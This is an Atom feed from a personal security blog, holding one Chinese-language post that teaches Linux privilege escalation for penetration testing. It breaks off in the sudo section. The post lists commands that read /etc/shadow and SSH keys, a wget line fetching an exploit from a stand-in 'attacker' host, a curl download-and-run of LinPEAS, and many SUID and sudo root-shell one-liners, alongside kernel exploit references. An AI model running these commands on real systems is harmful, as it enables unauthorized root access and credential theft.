<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-CN"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://l4k3q.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://l4k3q.github.io/" rel="alternate" type="text/html" hreflang="zh-CN" /><updated>2026-08-22T12:16:44+08:00</updated><id>https://l4k3q.github.io/feed.xml</id><title type="html">My Blog</title><subtitle>Developer. Security Researcher. Agent Architect</subtitle><author><name>l4k3q</name></author><entry><title type="html">内网渗透 - Linux 提权一文速通</title><link href="https://l4k3q.github.io/posts/linux-privesc/" rel="alternate" type="text/html" title="内网渗透 - Linux 提权一文速通" /><published>2026-08-13T22:16:00+08:00</published><updated>2026-08-13T22:16:00+08:00</updated><id>https://l4k3q.github.io/posts/linux-privesc</id><content type="html" xml:base="https://l4k3q.github.io/posts/linux-privesc/"><![CDATA[<p><img src="/images/cover.png" alt="cover" /></p>

<h1 id="内网渗透--linux-提权">内网渗透 — Linux 提权</h1>

<ol>
  <li><a href="#一提权方法总览">提权方法总览</a></li>
  <li><a href="#二开始之前--基础信息收集">开始之前 — 基础信息收集</a></li>
  <li><a href="#三内核提权">内核提权</a></li>
  <li><a href="#四suid-提权">SUID 提权</a></li>
  <li><a href="#五sudo-提权">Sudo 提权</a></li>
  <li><a href="#六第三方服务提权">第三方服务提权</a></li>
  <li><a href="#七其他常见提权方式">其他常见提权方式</a></li>
  <li><a href="#八提权工具汇总">提权工具汇总</a></li>
</ol>

<hr />

<h2 id="一提权方法总览">一、提权方法总览</h2>

<p><img src="/images/1.png" alt="1" /></p>

<p><strong>权限提升（Privilege Escalation）</strong> 指从低权限账户（Web 服务用户、普通用户）获取更高权限（通常为 root）的过程，分为两类：</p>

<ul>
  <li><strong>垂直提权</strong>：普通用户 → root（本文重点）；</li>
  <li><strong>水平提权</strong>：用户 A → 用户 B（同级切换，常借助凭证窃取/计划任务/SSH 密钥等）。</li>
</ul>

<p>整体思路流程：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>信息收集（内核/服务/权限/配置）
        │
        ├── 有无可用本地服务？ ──► 第三方服务提权（Docker / Redis / MySQL）
        ├── 有无特殊权限文件？ ──► SUID / Capabilities / 可写敏感文件
        ├── sudo -l 有无 NOPASSWD？ ──► Sudo 提权 / sudo 漏洞
        ├── 有无 root 计划任务？ ──► 计划任务劫持
        └── 以上都没有 ──────────► 内核漏洞提权
</code></pre></div></div>

<p>主要分类一览：</p>

<table>
  <thead>
    <tr>
      <th>分类</th>
      <th>核心思路</th>
      <th>典型示例</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>内核提权</td>
      <td>利用内核自身漏洞，通杀性强但有崩溃风险</td>
      <td>脏牛 Dirty COW、Dirty Pipe、PwnKit</td>
    </tr>
    <tr>
      <td>SUID 提权</td>
      <td>利用属主为 root 且带 SUID 位的可执行文件</td>
      <td>find / vim / awk / bash -p</td>
    </tr>
    <tr>
      <td>Sudo 提权</td>
      <td>滥用 sudo 白名单配置或 sudo 自身漏洞</td>
      <td>sudo vi、Baron Samedit（CVE-2021-3156）</td>
    </tr>
    <tr>
      <td>第三方服务提权</td>
      <td>root 身份运行的本地服务缺乏认证</td>
      <td>Docker 组、MySQL UDF、Redis 写 SSH key</td>
    </tr>
    <tr>
      <td>配置/凭证提权</td>
      <td>利用可写文件、计划任务、Capabilities、凭证复用</td>
      <td>可写 /etc/passwd、root crontab 脚本可写</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="二开始之前--基础信息收集">二、开始之前 — 基础信息收集</h2>

<p><img src="/images/2.png" alt="2" /></p>

<p>进入目标主机后（如通过 Webshell / 反弹 shell），先进行基础信息收集，为选择提权路径做准备。<strong>核心目标</strong>：搞清楚内核/发行版版本（用于搜内核 EXP）、以 root 运行的服务、带特殊权限的文件、以及任何可写入的关键位置。</p>

<blockquote>
  <p>提示：逐条执行慢且容易遗漏，实战中通常先跑一遍一键枚举脚本（见 2.8），再针对可疑点手工深入。</p>
</blockquote>

<h3 id="21-内核操作系统和设备信息">2.1 内核、操作系统和设备信息</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">uname</span> <span class="nt">-a</span>               <span class="c"># 所有系统信息（内核版本、架构）</span>
<span class="nb">uname</span> <span class="nt">-o</span>               <span class="c"># 操作系统类型</span>
<span class="nb">uname</span> <span class="nt">-n</span>               <span class="c"># 主机名</span>
<span class="nb">uname</span> <span class="nt">-r</span>               <span class="c"># 内核版本（重点记录，用于匹配内核 EXP）</span>
<span class="nb">uname</span> <span class="nt">-m</span>               <span class="c"># 系统架构（x86_64 / i686，编译 EXP 时要对应）</span>
lsb_release <span class="nt">-a</span>         <span class="c"># 发行版信息</span>
hostnamectl            <span class="c"># 主机名、内核、发行版综合信息</span>
<span class="nb">cat</span> /etc/<span class="k">*</span><span class="nt">-release</span>     <span class="c"># 发行版信息</span>
<span class="nb">cat</span> /etc/issue         <span class="c"># 发行版信息</span>
<span class="nb">cat</span> /proc/version      <span class="c"># 内核信息及编译信息</span>
<span class="nb">cat</span> /proc/cpuinfo      <span class="c"># CPU 信息</span>
<span class="nb">cat</span> /proc/meminfo      <span class="c"># 内存信息（评估跑内核 EXP 的可行性）</span>
<span class="nb">uptime</span>                 <span class="c"># 系统运行时长及负载</span>
<span class="nb">cat</span> /etc/os-release    <span class="c"># systemd 系统上的发行版信息</span>
</code></pre></div></div>

<h3 id="22-用户和群组">2.2 用户和群组</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">whoami</span>                          <span class="c"># 当前用户名</span>
<span class="nb">id</span>                              <span class="c"># 当前用户 uid/gid/所属组（注意 euid）</span>
<span class="nb">cat</span> /etc/passwd                 <span class="c"># 系统所有用户</span>
<span class="nb">cat</span> /etc/shadow                 <span class="c"># 用户密码哈希（低权限通常不可读，能读即提权线索）</span>
<span class="nb">cat</span> /etc/group                  <span class="c"># 系统所有组</span>
<span class="nb">groups</span>                          <span class="c"># 当前用户所在的组</span>
<span class="nb">groups test</span>                     <span class="c"># test 用户所在的组</span>
getent group docker             <span class="c"># 查看 docker 组的成员（换成任意组名）</span>
<span class="nb">awk</span> <span class="nt">-F</span>: <span class="s1">'$3 == 0 {print $1}'</span> /etc/passwd      <span class="c"># 列出所有 UID=0 的超级用户账户</span>
w                               <span class="c"># 当前已登录用户及其活动</span>
last                            <span class="c"># 最近登录用户列表</span>
lastlog                         <span class="c"># 所有用户上次登录信息</span>
lastlog <span class="nt">-u</span> &lt;username&gt;           <span class="c"># 指定用户上次登录信息</span>
</code></pre></div></div>

<p><strong>重点关注</strong>：当前用户是否位于 <code class="language-plaintext highlighter-rouge">docker</code>、<code class="language-plaintext highlighter-rouge">lxd</code>、<code class="language-plaintext highlighter-rouge">adm</code>、<code class="language-plaintext highlighter-rouge">disk</code>、<code class="language-plaintext highlighter-rouge">video</code>、<code class="language-plaintext highlighter-rouge">shadow</code> 等高权限组——这些组成员身份本身可能就是提权路径（见第六章）。</p>

<h3 id="23-环境信息">2.3 环境信息</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">env</span>                    <span class="c"># 显示环境变量（注意 PATH、LD_PRELOAD、http_proxy 等）</span>
<span class="nb">cat</span> /etc/shells        <span class="c"># 系统可用的 shell</span>
<span class="nb">echo</span> <span class="nv">$PATH</span>             <span class="c"># 当前 PATH（判断是否存在 PATH 劫持机会）</span>
<span class="nb">sudo</span> <span class="nt">-V</span>                <span class="c"># sudo 版本（用于对照 sudo 历史 CVE）</span>
<span class="nb">cat</span> /etc/profile       <span class="c"># 全局环境变量</span>
<span class="nb">cat</span> /proc/1/environ    <span class="c"># init 进程环境变量（需要权限）</span>
</code></pre></div></div>

<h3 id="24-进程和服务">2.4 进程和服务</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux                 <span class="c"># 所有进程</span>
ps aux | <span class="nb">grep </span>root     <span class="c"># 以 root 身份运行的进程（第三方服务提权线索）</span>
ps aux | <span class="nb">grep</span> &lt;svc&gt;    <span class="c"># 指定服务，如 mysql / redis / docker</span>
netstat <span class="nt">-antup</span>         <span class="c"># 所有打开并监听的端口与对应进程</span>
ss <span class="nt">-antp</span>               <span class="c"># netstat 的现代替代</span>
lsof <span class="nt">-i</span> <span class="nt">-P</span> <span class="nt">-n</span>          <span class="c"># 打开的网络连接</span>
systemctl list-units <span class="nt">--type</span><span class="o">=</span>service <span class="nt">--state</span><span class="o">=</span>running   <span class="c"># 运行中的服务（systemd 系统）</span>
</code></pre></div></div>

<p>重点观察<strong>只监听 127.0.0.1</strong> 的端口：这类服务外网不可达，但本机的低权限 shell 可以直接访问（如 Redis 6379、Docker API、内部管理面板）。</p>

<h3 id="25-计划任务">2.5 计划任务</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crontab <span class="nt">-l</span>                      <span class="c"># 当前用户的 crontab</span>
crontab <span class="nt">-l</span> <span class="nt">-u</span> &lt;user&gt;            <span class="c"># 指定用户的 crontab（需要权限）</span>
<span class="nb">cat</span> /etc/crontab                <span class="c"># 系统 crontab</span>
<span class="nb">ls</span> <span class="nt">-al</span> /etc/cron.<span class="k">*</span>              <span class="c"># cron.hourly / daily / weekly / monthly</span>
<span class="nb">ls</span> <span class="nt">-al</span> /var/spool/cron/         <span class="c"># 用户计划任务存储目录</span>
</code></pre></div></div>

<p><strong>关注点</strong>：root 计划任务所执行的脚本文件是否可被当前用户写入/替换（见 7.1）。</p>

<h3 id="26-软件安装与包信息">2.6 软件安装与包信息</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dpkg <span class="nt">-l</span>                <span class="c"># Debian/Ubuntu 已安装包及版本</span>
rpm <span class="nt">-qa</span>                <span class="c"># RHEL/CentOS 已安装包及版本</span>
pacman <span class="nt">-Q</span>              <span class="c"># Arch</span>
<span class="nb">cat</span> /etc/fstab         <span class="c"># 已挂载文件系统（注意 NFS、noexec/nosuid 选项）</span>
<span class="nb">df</span> <span class="nt">-h</span>                  <span class="c"># 磁盘挂载情况</span>
mount                  <span class="c"># 当前挂载信息</span>
</code></pre></div></div>

<h3 id="27-文件权限速查">2.7 文件权限速查</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 查找当前用户可写的敏感目录/文件</span>
find / <span class="nt">-writable</span> <span class="nt">-type</span> d 2&gt;/dev/null
find /etc <span class="nt">-writable</span> 2&gt;/dev/null

<span class="c"># SUID / SGID 文件</span>
find / <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s <span class="nt">-type</span> f 2&gt;/dev/null
find / <span class="nt">-perm</span> <span class="nt">-g</span><span class="o">=</span>s <span class="nt">-type</span> f 2&gt;/dev/null

<span class="c"># Linux Capabilities 文件</span>
getcap <span class="nt">-r</span> / 2&gt;/dev/null

<span class="c"># 关键文件是否可写（任何一条为真都是直接提权路径）</span>
<span class="nb">ls</span> <span class="nt">-l</span> /etc/passwd /etc/shadow /etc/sudoers

<span class="c"># SSH 相关</span>
<span class="nb">cat</span> ~/.ssh/authorized_keys  2&gt;/dev/null
<span class="nb">cat</span> ~/.ssh/id_rsa           2&gt;/dev/null
<span class="nb">ls</span> <span class="nt">-la</span> /root/.ssh/          2&gt;/dev/null

<span class="c"># 历史文件（常含密码、运维命令）</span>
<span class="nb">cat</span> ~/.bash_history
<span class="nb">cat</span> ~/.mysql_history
<span class="nb">cat</span> ~/.python_history
</code></pre></div></div>

<h3 id="28-一键枚举脚本">2.8 一键枚举脚本</h3>

<table>
  <thead>
    <tr>
      <th>工具</th>
      <th>说明</th>
      <th>地址</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>LinPEAS</strong></td>
      <td>最全的一键枚举脚本，红/黄高亮标记大概率可利用点</td>
      <td><code class="language-plaintext highlighter-rouge">github.com/peass-ng/PEASS-ng/tree/master/linPEAS</code></td>
    </tr>
    <tr>
      <td><strong>LinEnum</strong></td>
      <td>经典 Linux 枚举脚本</td>
      <td><code class="language-plaintext highlighter-rouge">github.com/rebootuser/LinEnum</code></td>
    </tr>
    <tr>
      <td><strong>linuxprivchecker.py</strong></td>
      <td>Python 单文件枚举，无需编译</td>
      <td><code class="language-plaintext highlighter-rouge">github.com/sleventyeleven/linuxprivchecker</code></td>
    </tr>
    <tr>
      <td><strong>pspy</strong></td>
      <td>无 root 权限监控进程创建，用于”抓”隐藏的 root 定时任务</td>
      <td><code class="language-plaintext highlighter-rouge">github.com/DominicBreuker/pspy</code></td>
    </tr>
    <tr>
      <td><strong>BeRoot</strong></td>
      <td>枚举 + 自动尝试部分提权</td>
      <td><code class="language-plaintext highlighter-rouge">github.com/AlessandroZ/BeRoot</code></td>
    </tr>
  </tbody>
</table>

<p>典型用法：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 上传后执行（目标无 python 时用编译好的二进制版 LinPEAS）</span>
<span class="nb">chmod</span> +x linpeas.sh
./linpeas.sh <span class="nt">-a</span> <span class="o">&gt;</span> /tmp/linpeas.txt 2&gt;&amp;1    <span class="c"># -a 做全面检查</span>

<span class="c"># 目标可出网时直接下载</span>
curl <span class="nt">-L</span> https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh <span class="nt">-o</span> /tmp/lp.sh
bash /tmp/lp.sh | <span class="nb">tee</span> /tmp/lp.out
</code></pre></div></div>

<hr />

<h2 id="三内核提权">三、内核提权</h2>

<p><img src="/images/3.png" alt="3" /></p>

<p><strong>原理</strong>：利用已知的内核自身漏洞（本地越界、竞态、UAF 等）实现本地提权，多为”通杀”型。大多数内核漏洞可通过 <code class="language-plaintext highlighter-rouge">uname -r</code> 得到的内核版本号快速比对。</p>

<p><strong>风险提示</strong>：</p>

<ul>
  <li>内核 EXP 直接在内核态操作内存，<strong>存在导致目标系统崩溃（kernel panic）的风险</strong>，生产环境务必谨慎，有条件时先在测试环境中验证；</li>
  <li>很多 EXP 需要 <code class="language-plaintext highlighter-rouge">gcc</code> 在目标机上编译，若目标无编译环境，需在<strong>相同架构、相近发行版</strong>的机器上静态编译后上传；</li>
  <li>高版本发行版通常开启了 KASLR、SMEP、SMAP 等缓解措施，老 EXP 可能失效。</li>
</ul>

<h3 id="31-漏洞搜索searchsploit">3.1 漏洞搜索：searchsploit</h3>

<p>用 Kali 自带的 <code class="language-plaintext highlighter-rouge">searchsploit</code> 搜索 Exploit-DB 中的公开 EXP：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 基本搜索：任意关键词组合</span>
searchsploit linux 2.6 ubuntu priv esc

<span class="c"># 按内核版本模糊搜</span>
searchsploit linux kernel 3.13 priv esc

<span class="c"># 常用参数</span>
searchsploit <span class="nt">-p</span> &lt;EDB-ID&gt;     <span class="c"># 显示漏洞利用的完整本地路径</span>
searchsploit <span class="nt">-m</span> &lt;EDB-ID&gt;     <span class="c"># 把 EXP 拷贝到当前工作目录</span>
searchsploit <span class="nt">-t</span> &lt;keyword&gt;    <span class="c"># 仅匹配标题</span>
searchsploit <span class="nt">--exclude</span><span class="o">=</span><span class="s2">"POC"</span> <span class="c"># 排除仅 PoC 的条目</span>
</code></pre></div></div>

<p>也可以直接在 https://www.exploit-db.com 或 GitHub 按 <code class="language-plaintext highlighter-rouge">CVE + 内核版本</code> 搜索。选定 EXP 后需核对：影响内核版本区间、32/64 位、依赖（如 libssl-dev）。</p>

<h3 id="32-exp-编译与传输">3.2 EXP 编译与传输</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 编译方法通常写在源码头部注释中</span>
gcc <span class="nt">-pthread</span> exp.c <span class="nt">-o</span> exp <span class="nt">-lcrypt</span>
gcc <span class="nt">-static</span> <span class="nt">-o</span> exp exp.c      <span class="c"># 静态编译，降低目标机缺库的概率</span>

<span class="c"># 上传方式（按目标出网能力选择）</span>
wget http://attacker/exp <span class="nt">-O</span> /tmp/exp     <span class="c"># 在目标机执行</span>
python3 <span class="nt">-m</span> http.server 8080              <span class="c"># 攻击机开 HTTP</span>
scp exp user@target:/tmp/                <span class="c"># 有 SSH 凭证时</span>
<span class="nb">base64 </span>exp | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span>                  <span class="c"># 小文件可用 base64 复制粘贴</span>
</code></pre></div></div>

<h3 id="33-脏牛漏洞dirty-cowcve-2016-5195">3.3 脏牛漏洞（Dirty COW，CVE-2016-5195）</h3>

<ul>
  <li><strong>漏洞编号</strong>：CVE-2016-5195</li>
  <li><strong>漏洞名称</strong>：脏牛（Dirty COW）</li>
  <li><strong>漏洞原理</strong>：<code class="language-plaintext highlighter-rouge">get_user_pages</code> 内核函数在处理 Copy-on-Write（COW，写时复制）过程中存在竞态条件，导致 COW 机制被破坏，攻击者获得向进程地址空间中<strong>只读内存区域写数据</strong>的机会。利用这一点可修改 <code class="language-plaintext highlighter-rouge">/etc/passwd</code> 或 <code class="language-plaintext highlighter-rouge">su</code>、<code class="language-plaintext highlighter-rouge">passwd</code> 等只读文件，从而提权。</li>
  <li><strong>漏洞危害</strong>：低权限用户利用该漏洞可在全版本上实现本地提权，稳定性较好。</li>
  <li><strong>影响范围</strong>：Linux kernel ≥ 2.6.22 且 &lt; 4.8.3（修复版本：4.7.7 / 4.4.26 LTS / 3.10.0-327.36.3.el7 等）；Android 同样受影响。</li>
  <li><strong>PoC</strong>：https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs</li>
</ul>

<p><strong>利用示例（passwd 覆写型 PoC）</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-pthread</span> dirty.c <span class="nt">-o</span> dirty <span class="nt">-lcrypt</span>   <span class="c"># 编译</span>
./dirty newpass                          <span class="c"># 修改 root 密码为 newpass</span>
su root                                  <span class="c"># 切换为 root</span>
</code></pre></div></div>

<h3 id="34-dirty-pipecve-2022-0847">3.4 Dirty Pipe（CVE-2022-0847）</h3>

<ul>
  <li><strong>漏洞原理</strong>：pipe（管道）结构中的 <code class="language-plaintext highlighter-rouge">PIPE_BUF_FLAG_CAN_MERGE</code> 标志位在特定条件下未被正确初始化/清除，导致非特权进程可向任意只读文件的页缓存中追加写入数据，从而篡改只读文件。</li>
  <li><strong>影响范围</strong>：5.8 ≤ Linux kernel &lt; 5.16.11 / 5.15.25 / 5.10.102。</li>
  <li><strong>典型利用</strong>：覆写 <code class="language-plaintext highlighter-rouge">/etc/passwd</code>（把某用户改为无密码 root）或 <code class="language-plaintext highlighter-rouge">/etc/shadow</code> 的 root 哈希。</li>
  <li><strong>PoC</strong>：https://dirtypipe.cm4all.com/（原作者说明及 PoC）、<code class="language-plaintext highlighter-rouge">github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits</code>。</li>
</ul>

<h3 id="35-pwnkitcve-2021-4034">3.5 PwnKit（CVE-2021-4034）</h3>

<ul>
  <li><strong>漏洞原理</strong>：polkit 的 <code class="language-plaintext highlighter-rouge">pkexec</code> 在 <code class="language-plaintext highlighter-rouge">main()</code> 处理 <code class="language-plaintext highlighter-rouge">argc=0</code> 的异常参数时存在越界写，攻击者可控制环境变量实现任意代码执行。<code class="language-plaintext highlighter-rouge">pkexec</code> 默认带 SUID root，几乎所有桌面与服务器发行版出厂即受影响。</li>
  <li><strong>影响范围</strong>：polkit 自 2009 年 5 月版本以来的<strong>所有版本</strong>（0.96 起），修复前影响面极广。</li>
  <li><strong>检测</strong>：<code class="language-plaintext highlighter-rouge">pkexec --version</code> 结合发行版补丁信息；或检查 <code class="language-plaintext highlighter-rouge">ls -l $(which pkexec)</code> 是否仍有 SUID。</li>
  <li><strong>利用</strong>：<code class="language-plaintext highlighter-rouge">github.com/ly4k/PwnKit</code>、<code class="language-plaintext highlighter-rouge">github.com/arthepsy/CVE-2021-4034</code>（编译运行即可获得 root shell）。</li>
</ul>

<h3 id="36-其他常见内核提权漏洞速查">3.6 其他常见内核提权漏洞速查</h3>

<table>
  <thead>
    <tr>
      <th>CVE</th>
      <th>名称</th>
      <th>影响版本（大致）</th>
      <th>备注</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CVE-2017-1000112</td>
      <td>UFO 溢出</td>
      <td>4.4 ~ 4.13</td>
      <td>UDP 分片，EDB-48134 等</td>
    </tr>
    <tr>
      <td>CVE-2019-13272</td>
      <td>ptrace 提权</td>
      <td>4.10 ~ 5.1.x</td>
      <td>需目标有 gdm/xfce4/X 等 pkexec 场景</td>
    </tr>
    <tr>
      <td>CVE-2021-22555</td>
      <td>netfilter 堆溢出</td>
      <td>2.6.19 ~ 5.9</td>
      <td>Google 披露，PoC 完整</td>
    </tr>
    <tr>
      <td>CVE-2022-34918</td>
      <td>netfilter 堆溢出</td>
      <td>&lt; 5.18.16</td>
      <td>有成熟 EXP</td>
    </tr>
    <tr>
      <td>CVE-2024-1086</td>
      <td>nftables UAF</td>
      <td>3.15 ~ 6.1.x 部分</td>
      <td>稳定性较好，影响面广</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>使用任何内核 EXP 前，务必确认目标内核落在 EXP 声称的影响区间内，并优先选择带 <code class="language-plaintext highlighter-rouge">-static</code> 编译说明的版本。</p>
</blockquote>

<hr />

<h2 id="四suid-提权">四、SUID 提权</h2>

<p><img src="/images/4.png" alt="4" /></p>

<h3 id="41-原理">4.1 原理</h3>

<p>SUID 全称 <strong>S</strong>et owner <strong>U</strong>ser <strong>ID</strong> up on execution。设置了 SUID 位（权限位显示为 <code class="language-plaintext highlighter-rouge">s</code>，八进制 4000）的可执行文件，<strong>任何人执行时都会临时以文件属主的权限运行</strong>。</p>

<ul>
  <li>只有当程序属主是 <strong>root（UID 0）且文件带 SUID 位</strong>时，才可能用于提权；</li>
  <li>SUID 只影响<strong>进程的有效用户（EUID）</strong>，派生的 shell 默认会把 EUID 降回真实 UID，因此通常需要 <code class="language-plaintext highlighter-rouge">bash -p</code>（<code class="language-plaintext highlighter-rouge">-p</code> 保留特权）或程序自身的命令执行能力；</li>
  <li>并非所有 SUID 程序都可利用，可对照 <strong>GTFOBins</strong>（https://gtfobins.github.io/ ）按 <code class="language-plaintext highlighter-rouge">程序名 + SUID</code> 查询已知利用方法。</li>
</ul>

<h3 id="42-枚举-suid-文件">4.2 枚举 SUID 文件</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s <span class="nt">-type</span> f 2&gt;/dev/null
find / <span class="nt">-user</span> root <span class="nt">-perm</span> <span class="nt">-4000</span> <span class="nt">-type</span> f 2&gt;/dev/null
find / <span class="nt">-user</span> root <span class="nt">-perm</span> <span class="nt">-4000</span> <span class="nt">-type</span> f <span class="nt">-exec</span> <span class="nb">ls</span> <span class="nt">-l</span> <span class="o">{}</span> <span class="se">\;</span> 2&gt;/dev/null
</code></pre></div></div>

<p>将结果与 GTFOBins 对照；同时留意<strong>自研程序</strong>（不在白名单内的 suid 二进制）——它们往往存在命令拼接、参数注入等缺陷。</p>

<h3 id="43-常见-suid-程序提权">4.3 常见 SUID 程序提权</h3>

<h4 id="find">find</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find <span class="nb">.</span> <span class="nt">-exec</span> /bin/bash <span class="nt">-p</span> <span class="se">\;</span>     <span class="c"># 获得一个 root shell（-p 保留 SUID 特权）</span>
</code></pre></div></div>

<h4 id="bash--sh">bash / sh</h4>

<p>若 bash 本身被设置了 SUID（少见但致命）：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/bash <span class="nt">-p</span>      <span class="c"># -p 保证不降权</span>
</code></pre></div></div>

<h4 id="vim--vi">vim / vi</h4>

<p>vim 以 SUID 运行时，继承 root 权限，可直接读写仅 root 可读的文件：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vim /etc/shadow       <span class="c"># 读取/修改密码哈希</span>
</code></pre></div></div>

<blockquote>
  <p>注意：多数发行版中 vim 执行 SUID 时 <code class="language-plaintext highlighter-rouge">:!sh</code> 派生的 shell 会降权，读取/写入敏感文件（shadow、sudoers、authorized_keys）更可靠；部分编译版本支持 <code class="language-plaintext highlighter-rouge">:py import os;os.setuid(0);os.system('/bin/bash')</code>。</p>
</blockquote>

<h4 id="awk">awk</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">awk</span> <span class="s1">'BEGIN {system("/bin/bash -p")}'</span>
</code></pre></div></div>

<h4 id="python--perl--php">python / perl / php</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import os; os.setuid(0); os.system("/bin/bash")'</span>
perl <span class="nt">-e</span> <span class="s1">'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'</span>
</code></pre></div></div>

<h4 id="less--more">less / more</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>less /etc/profile
<span class="c">#!/bin/sh</span>
<span class="o">!</span>/bin/bash <span class="nt">-p</span>        <span class="c"># 在 less 命令模式中执行</span>
</code></pre></div></div>

<h4 id="tar">tar</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tar</span> <span class="nt">-cf</span> /dev/null /dev/null <span class="nt">--checkpoint</span><span class="o">=</span>1 <span class="nt">--checkpoint-action</span><span class="o">=</span><span class="nb">exec</span><span class="o">=</span><span class="s2">"/bin/bash -p"</span>
</code></pre></div></div>

<h4 id="env">env</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">env</span> /bin/bash <span class="nt">-p</span>
</code></pre></div></div>

<h4 id="cp--mv">cp / mv</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 用 cp 覆盖 /etc/passwd，预先构造好带 uid=0 的账户行</span>
<span class="nb">cp </span>fake_passwd /etc/passwd
</code></pre></div></div>

<h4 id="nmap老版本-411--521">nmap（老版本 4.11 ~ 5.21）</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">--interactive</span>
nmap&gt; <span class="o">!</span>sh
</code></pre></div></div>

<h4 id="读取类cat--strings--base64--od">读取类（cat / strings / base64 / od）</h4>

<p>带 SUID 时可直接读取 <code class="language-plaintext highlighter-rouge">/etc/shadow</code>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">base64</span> /etc/shadow
strings /etc/shadow
</code></pre></div></div>

<h3 id="44-自研-suid-程序">4.4 自研 SUID 程序</h3>

<p>遇到非标准程序（如 <code class="language-plaintext highlighter-rouge">/usr/local/bin/backup</code>）带 SUID root 时：</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">strings</code>、<code class="language-plaintext highlighter-rouge">ltrace</code>（如有）观察其行为；</li>
  <li>检查是否调用了<strong>相对路径命令</strong>（可 PATH 劫持）、是否拼接<strong>用户可控参数</strong>；</li>
  <li>反编译分析（拖回本地用 IDA/Ghidra）。</li>
</ol>

<hr />

<h2 id="五sudo-提权">五、Sudo 提权</h2>

<p><img src="/images/5.png" alt="5" /></p>

<p>一旦攻击者能以某个用户身份使用 SUDO（尤其是配置了 NOPASSWD 的情形），基本等于可以以 root 权限执行任意命令。</p>

<h3 id="51-枚举sudo--l">5.1 枚举：sudo -l</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>          <span class="c"># 列出当前用户允许的 sudo 命令（有 NOPASSWD 时无需密码）</span>
<span class="nb">sudo</span> <span class="nt">-l</span> <span class="nt">-U</span> user  <span class="c"># 列出指定用户的 sudo 权限（需要一定权限）</span>
<span class="nb">sudo</span> <span class="nt">--version</span>   <span class="c"># 查看版本，对照历史 CVE</span>
</code></pre></div></div>

<p>拿到白名单命令后，同样去 <strong>GTFOBins（sudo 场景）</strong> 查询利用方式。</p>

<h3 id="52-无密码nopasswd">5.2 无密码（NOPASSWD）</h3>

<p>典型例子，允许 <code class="language-plaintext highlighter-rouge">sudo vi</code>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>vi test.txt
<span class="c"># 进入底线命令模式后执行：</span>
:/bin/bash     →  :!/bin/bash      <span class="c"># 获得 root shell</span>
</code></pre></div></div>

<p>更多 GTFOBins 常见 sudo 利用（均为 <code class="language-plaintext highlighter-rouge">sudo &lt;cmd&gt;</code> 形式）：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo awk</span> <span class="s1">'BEGIN {system("/bin/bash")}'</span>
<span class="nb">sudo </span>find <span class="nb">.</span> <span class="nt">-exec</span> /bin/bash <span class="se">\;</span>
<span class="nb">sudo </span>less /etc/profile          <span class="c"># 命令模式 !/bin/bash</span>
<span class="nb">sudo tar </span>cf /dev/null /dev/null <span class="nt">--checkpoint</span><span class="o">=</span>1 <span class="nt">--checkpoint-action</span><span class="o">=</span><span class="nb">exec</span><span class="o">=</span>/bin/bash
<span class="nb">sudo </span>python3 <span class="nt">-c</span> <span class="s1">'import os; os.execl("/bin/sh","sh")'</span>   <span class="c"># sudo 本身已提权，无需 -p</span>
